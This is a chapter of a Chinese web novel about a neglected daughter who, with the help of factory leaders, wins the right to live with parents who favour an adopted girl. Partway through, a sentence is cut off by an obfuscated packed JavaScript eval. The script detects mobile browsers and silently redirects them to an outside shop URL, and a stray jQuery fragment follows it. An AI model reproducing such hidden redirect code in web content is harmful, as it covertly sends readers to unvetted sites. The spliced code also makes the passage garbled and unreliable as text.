3. 第 3 章
    筒子楼做饭的地方都在外头走廊,何巧凤气势汹汹地端着饭菜进屋,把碗盆往桌上重重一摔,喊:“吃饭!”

    屋里的江宝花兴冲冲出来,看清楚菜色后,小嘴翘的老高:“妈,咋吃这啊,不是说好给我买卤肉回来?”

    江家人口少,在这个不少人拉饥荒的年代,他们顿顿都能吃上饱饭,隔三差五还能添点荤腥改善伙食。

    江宝花都多少年没见过这种菜色了。

    水煮出来的青菜拌点盐,挂不住肠子的稀面汤,还连块红薯都舍不得放,她吃惯了有滋有味的好饭,哪下得去口!

    何巧凤也觉得今晚的饭菜是委屈了养女,但江甜果哪配吃她一粒粮食,她软着声音哄人:“喝点稀饭,吃完了你赶紧回房间。”

    养女屋里有不少果子饼干,总归是饿不着她。

    江宝花瘪着小嘴,这才不情不愿地坐到了饭桌旁。

    江向军低头吃了两口,觉得实在不像样子,他喊妻子:“把早上的馒头拿出来。”

    何巧凤“啪”放下筷子,直勾勾地看着他。

    江向军又重复:“拿出来。”

    向来对丈夫言听计从的她,头一次没搭理人,饭也不吃扭头回了房。江宝花瞪大眼睛,左看右瞧也默不作声的离开了屋子。

    江向军脸上表情有些尴尬,坐在那里走也不是留也不是。全家唯一能认真吃这顿饭的,可能只剩下江甜果了。

    面对这三人的算计,羞辱,漠视,孤立,江甜果连眉头都没皱上一下,权当是给吃饭添个乐子。

    她一口一口把碗里的稀饭喝完,又吃了些青菜,端碗推门走出去。

    何巧凤这顿饭做得快,因此她出来时,走廊里还有不少人,炒菜锅里翻涌着锅气,邻居们准备晚餐,时不时和隔着七八米的朋友隔空唠嗑。

    热闹和喧嚣在看到她时诡异的安静了一瞬间。

    江甜果淡定地走到走廊的水龙池旁,拧开水管,把碗筷仔仔细细清洗干净,才转身回了屋。

    她一走,走廊上的婶子们顿时炸开了锅。

    “这就是江家的亲闺女?”

    “好不容易来一趟,孩子碗里连点油星都不见?”

    “又不是没条件,咋这种做派,这两口子真是越活越回去了。”

    江向军在厂里带了十几年的好人面具,这一刻在邻居心里缓缓裂开,对亲闺女都这样,平时装出来的要能有几分真心呢?

    ——

    王厂长家。

    因为在厂子门口的事,他到家晚了些,说要给外甥露一手的鱼香肉丝,作为最后一道压轴菜端上了桌。

    作为一厂厂长,他自然不用挤筒子楼,有自己的独门小院,要不然让别人看见他下厨,怕是得惊掉一地下巴。

    “寒松,快来尝尝,这鱼香肉丝可是我的拿手绝活,你小姨想吃,我可都不轻易做。”王厂长十万个热情的招呼着来探亲的外甥。

    要不是有着一层亲戚关系,他哪能扒上京城大院的子弟,就算不提他亲爹亲爷爷,只看林寒松这个人,才二十五岁就升到了营长,听消息还要往上再提一提。

    年轻有为的俊后生,谁能不喜欢!

    吃饭的时候,王厂长手里的筷子就没停过,不住给外甥夹菜。

    她媳妇老生常谈,操心起了外甥的婚事:“寒松转年都26了,谈对象没,是不是该考虑起来了?”

    林寒松放下筷子,要是往年家人提起催婚,他肯定是不搭理冷处理。但想起今年缠上的烂桃花,他松口:“组织和我妈都在安排相亲,只是没找着合适的。”

    喔,这是有意向了?

    王厂长眉毛一挑,把这事放到了心里。

    照这么说,那就是京城和部队的女孩都见过几个,但没瞧上眼。那要是自己能给他介绍成了,这可是大好事一件呐!

    他一下子积极起来:“那你找对象有要求不?学历家庭啥的?”

    “合眼缘的就行。”

    林寒松答得坦荡,王厂长心思百转,揣度外甥这句话的意思,又把厂子里适龄女工人筛了一遍,心里有了主意。

    ——

    墙上钟表指到八的位置,江家的门被敲响。

    何巧凤连忙去打开门,热情的招呼着,“厂长,李科长,祁主任,快坐快坐。”

    来的这仨人,一个是厂长;一个是财务科的科长,江向军的顶头上司;还有一个是妇联主任,都得好好对待。

    江宝花也出来了,她从橱柜里拿出几个杯子,添上茶叶倒水,热情地和几个长辈打招呼问好,左右逢源的样子真像个开心果。

    祁冰看着她一脸感慨:“宝花真是长大懂事了,把那么小个娃娃拉扯到这么大,老江夫妇不容易。”

    江向军与有荣焉地笑笑,坐在一旁的李科长却没好脸色。

    她近几年才调到厂里,为人正直。江向军平日的表现,在她眼里勉强合格,却因为厂里的种种考量,评上好几次先进。

    搞得财务科的风气都被带坏了,天天不想着务实,倒是钻营着怎么出名。

    再加上今晚听亲爹,也就是看门老头一顿八卦,本来该党支部来人的,被她插了一脚,来给可怜闺女撑腰。

    她严肃地开口:“祁主任,今天咱们来不是评先进,是因为江向军同志的家务事,已经对厂子造成了负面影响。”

    江宝花早在气氛变化时就回了房间,江向军立马表忠心:“主任,我检讨,这些年我疏忽了对孩子的教育,让她做出这么冲动的事,明一早我就把她送回乡下,保证再也不会发生!”

    祁冰嘴唇动了动,江向军说的是个法子,他偏心已经成了事实,自己又不愿意改,只能解决提出问题的人,只是这样,大闺女也太可怜了。

    作为妇联干部,她应该出来维护女性权益,但江宝花亲娘活着时和她关系最好,她更是拿她当亲生闺女看。

    她怕亲生闺女回来了,叫宝花受委屈。

    一边是职责,一边是人情。

    她目光看向旁边两人,等着他们开口。

    李科长冷哼一声,直接骂出口:“咋滴,亲生闺女住家里还住不得了?没听说大闺女也是抱养的啊?你还是亲爹吗?有你这么对亲闺女的吗?”

    这是顶头上司,江向军不敢反驳。只是心里抱怨自己倒霉,老女人平时最不好管闲事,咋今天撞她枪口上。

    对着江甜果,李科长表情稍微柔和些:“丫头,你是啥想法?”

    江甜果捏了捏衣角,委屈又期待的看着父母,“我就想回城里,和爸妈住在一起……”

    “你想得美,这哪有你住的地方!”何巧凤厉声打断。

    江甜果眼底瞬间湿润,“妈,我不指望能和妹妹一个待遇,只要能回家,让我睡凳子睡地板还是睡楼道,我都愿意!”

    孩子话都说到这份上了,王厂长忍不住劝:“家里地方又不是不够,亲闺女住回来也碍不着啥事。”

    何巧凤掏出手绢就开始抹眼泪:“厂长啊,不是我这个做娘的狠心。实在是我这个闺女克我。生她出来,害死了自己亲哥,害我坏了身子,这些年受了多少白眼。”

    “她就是个讨债鬼!和她住一屋,我也活不成了!”

    母亲的话出口,江甜果硬逼出来的眼泪,下意识流得更凶了。她却身子一轻,感受到束缚住自己的东西猛然消失。

    这是原主留在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284132|151988||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这个世界最后的执念,她死心了。一个人不被父母所爱,这是多么残忍的一件事啊。

    她红着眼眶,声音颤抖又无助:“所以你们就不要我了……”

    “你在乡下不是过得好好的,咋能说是我们不要你了!爸妈哪会害你!”江向军连忙提高声音反驳。

    眼瞅着三人声音越抬越高,祁冰生怕亲人闹成仇人,连忙拽着江家两口子进了屋。

    她急得满头是汗,恨不得把道理掰碎了喂给他们:“孩子都十八了,还能在家里待几天?忍上十天半个月,给人送出门子,换回一把票子,不都是好处。巧凤,这是你亲闺女,真要把人逼走了,以后谁伺候你,谁给你养老?”

    何巧凤眼泪像开闸的水龙头流个不停,捂着心口靠在椅子上,“你看看,你看她刚看我的眼神,她恨我啊!我把她生下来,没缺吃没缺喝,不就是把她扔在乡下十年,不就是不让她住回家里。一个丫头片子,养了十几年,反倒养出来个白眼狼。”

    早知道,当初生下来就该掐死她!

    江向军在屋里来回踱步,倒是比妻子先冷静下来,看今天这架势,大闺女变了,不像以前好拿捏了。想再把人哄回乡下已经不可能。

    祁冰说得有道理,自家又不缺这一口饭,就当是来了个住得久些的客人,没必要在领导面前把事闹这么难看。

    他冷着脸把决定告诉了妻子,推开门已经换了副面孔,拍着胸脯让江甜果放心住在家里,以前因为种种原因没尽到父母的责任,以后也都会补偿回来,请领导们一起监督。

    江甜果依旧是那副委屈乖巧的神色,只是表情似乎有些动容。

    闹这一出已经达到了她的目的,不仅成功留在城里,而且得到了领导的同情。就算往后江家父母想算计她,也不会像在村里那样走投无路无人做主。

    李科长生怕她被爹妈哄住,赶紧为傻丫头多操两份心:“住回来就完事了?你拿五十块钱和布票粮票出来,给闺女做两身衣裳,让她再买点吃喝补补。”

    啥,还没见着彩礼,咋要往外头给钱?

    何巧凤当了这么多年车间工人,也才拿着36块钱一个月的工资,给江甜果五十,家里不过日子了?

    “李科长,家里一时拿不出这么多钱,我让巧凤慢慢置办行不?”

    李科长哪能看不出他打的小九九:“现在就拿,置办东西,谁知道你置办到哪个闺女身上?”

    “十年没管过,现在要五十块钱,要你命了?”

    江向军看了眼厂长,男人轻咳一声,说了个公道的数字:“拿三十吧,孩子大了,穿得破衣烂衫,不好看。”

    厂长都发话了,江向军没办法,只能一脸肉疼地转身回屋拿钱,就这一会功夫,不隔音的木门里头还传来撕打声。

    何巧凤应该是气狠了。

    当着三个领导的面把钱和票点清,看着江甜果把钱收进内兜,江家的事这才算翻篇。

    “抱歉领导,今晚让你们跑一趟,见笑了。”江向军点头哈腰,一路送领导出门。

    江甜果也默默跟在后面,一直送出去老远,王厂长让江向军先回去。算是可怜也算是责任,他往江甜果手里塞了五块钱,李科长也掏了五块,祁冰本来只打算给两块的,看另外两个都出手大方,她也不得不咬牙添上了。

    一下子十五块巨款被塞进手里,江甜果连忙推拒:“我不能要,今天已经麻烦你们很多了。”

    “拿着吧,就当是我们这几个做长辈的,补给你的压岁钱。”

    那也用不了这么多,江甜果知道这是别人的善意,所以她弯下腰,认真鞠了个躬。同时在心里默默承诺,以后赚钱了,一定要加倍还回去。